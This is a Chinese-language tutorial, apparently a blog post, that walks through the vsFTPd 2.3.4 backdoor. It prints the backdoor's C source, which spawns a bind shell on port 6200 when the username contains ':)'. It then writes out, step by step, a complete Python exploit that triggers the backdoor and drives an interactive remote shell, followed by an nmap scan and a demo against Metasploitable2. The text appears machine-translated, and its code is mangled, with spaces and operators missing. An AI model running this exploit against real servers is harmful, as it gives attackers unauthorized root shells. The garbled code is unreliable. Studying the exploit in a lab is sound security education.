一、前言
大家好,首先,本文的目的不是分析vsFTPd最近喜欢用漏洞写后门漏洞。exploit在本文中,我们将重用编程语言Python逐步编写漏洞的使用程序,主要是触发后门并连接shell。首先,让我们了解漏洞是如何触发的。
二、剖析vsFTPd后门漏洞
这个漏洞很旧,但它应该作为练习技术的一个例子。这是非常经典的。这个洞就像它的名字一样。我不知道程序员是故意留下的还是黑客植入的。首先,让我们下载源代码。
在str.c在源代码中,我们发现了一行可疑代码:
elseif((p_str->p_buf[i]==0x3a)&&(p_str->p_buf[i 1]==0x29)){vsf_sysutil_extra();}0x3a和0×29它是16进制编码。我们将其转换为10进制,然后将其转换为字符:和)。从上述代码中很容易看出,只要我们输入的用户名字符串中的一个字符是:,下一个字符是),函数就可以执行vsf_sysutil_extra()。
在sysdeputil.c在源代码中,我们找到了它vsf_sysutil_extra()函数:
intvsf_sysutil_extra(void){intfd,rfd;structsockaddr_insa;if((fd=socket(AF_INET,SOCK_STREAM,0))<0)exit(1);memset(&sa,0,sizeof(sa));sa.sin_family=AF_INET;sa.sin_port=htons(6200);sa.sin_addr.s_addr=INADDR_ANY;if((bind(fd,(structsockaddr*)&sa,sizeof(structsockaddr)))<0)exit(1);if((listen(fd,100))==-1)exit(1);for(;;){rfd=accept(fd,0,0);close(0);close(1);close(2);dup2(rfd,0);dup2(rfd,1);dup2(rfd,2);execl("/bin/sh","sh",(char*)0);}}可以发现这是一段shell,绑定端口是6200.
三、重构vsFTPd后门漏洞exploit
我们已经学会了如何触发它vsFTPd后门漏洞现在正式开始编写漏洞exploit首先,我们首先介绍我们需要的模块:
importsysimportsocketimportthreadingimporttimesys我们用模块接收命令行参数,socket模块用于触发漏洞,threading模块用来处理shell,time延迟模块shell交互。
现在我们已经引入了模块,接下来我们将处理命令行参数。
iflen(sys.argv)==3:passelse:print"Use:./vsftpexploit.py[targetIP][targetPort]"sys.exit(1)target=sys.argv[1]port=sys.argv[2]print"[ ]targetIP:" targetprint"[ ]targetPort:" port从命令行接收两个参数IP和目标端口。首先判断用户是否正确输入参数,并成功打印目标IP和端口号。
现在我们已经接收了所需的参数,接下来我们需要触发漏洞。在这里,我们将触发函数命名为exploit:
defexploit():exploit_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:exploit_socket.connect((target,int(port)))exceptException:print"Cannotattacktarget"sys.exit(1)print"[ ]Attacktarget..."banner=exploit_socket.recv(1024)printbanner这里我们主要先来拿banner,确定服务器FTP服务是不是vsFTPd 2.3.4。
确定服务器FTP服务是vsFTPd 2.3.4之后,让我们触发漏洞:
if"vsFTPd2.3.4"inbanner:exploit_socket.send("USERhello:)\n")exploit_socket.recv(1024)exploit_socket.send("PASSHELLO\n")exploit_socket.close()print"[ ]Attackwassuccessful"returnelse:print"[!]FTPserviceisnotvsFTPd2.3.4"sys.exit(1)在触发漏洞后,我们还需要连接到它来操作。首先,我们创建了一个函数处理线程。
defcont_shell(sock,status):sock.settimeout(3)whilestatus==True:try:printsock.recv(1024).strip()exceptsocket.timeout:passexceptException:return***我们将编写一个调用的综合函数exploit触发漏洞后操作函数shell。
defhack():exploit()shell_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)shell_status=Truetry:shell_socket.connect((target,6200))exceptException:print"[!]CannotconnectShell"sys.exit(1)shell_recv_thread=threading.Thread(target=cont_shell,args=(shell_socket,shell_status))shell_recv_thread.start()print"[ ]Theconnectionshelliscomplete"while1:command=raw_input()ifcommand=='exit':shell_status=Falseshell_socket.close()shell_recv_thread.join()sys.exit(0)shell_socket.send(command '\n')很简单,首先我们调用了exploit()函数触发漏洞,然后我们创建了一个名称shell_socket套接字连接shell。shell_status表示状态主要是为了防止冲突。然后使用线程来处理和处理shell的交互了,***使用循环发送命令,并将命令作为命令exit时退出。
四、剧本演示
我们的exploit写作已经完成,现在我们实际操作,测试我们exploit是否可用。我们先用。nmap探测服务器FTP服务版。
nmap-sV-p21192.168.242.129结果:
在目标服务器上可以找到FTP服务是vsFTPd 2.3.4,用我们的exploit脚本:
成功利用
五、总结
在编写exploit在这个过程中,我犯了一个小错误错误TAB制表符,不能再用四个空间代表制表符对齐,新的Python语法不支持代码对齐中的混合TAB和空。我直接用了文中的靶机。metasploitable2。如果你感兴趣,你可以试着自己重写。
六、参考资料
1、https://www.exploit-db.com/exploits/17491/
2、https://0x00sec.org/t/re-building-a-vsftpd-backdoor-exploit-in-python/159
3、http://pastebin.com/AetT9sS5
4、http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html